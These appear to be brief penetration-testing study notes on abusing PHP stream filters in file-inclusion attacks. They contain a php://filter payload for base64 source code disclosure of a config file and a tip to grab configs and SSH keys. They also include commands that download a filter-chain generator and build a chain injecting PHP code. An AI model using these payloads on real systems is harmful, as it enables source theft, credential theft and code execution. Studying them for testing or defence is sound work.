PHP Filters

• String Filters

• Conversion Filters

• Compression Filters

• Encryption Filters

Source Code Disclosure

php://filter/read=convert.base64-encode/resource=config

Note: try grabbing configs/ssh keys if possible

PHP Filter Chain (not included in course)

$ wget https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/main/php_filter_chain_generator.py
$ python php_filter_chain_generator.py --chain "<?php phpinfo();?>"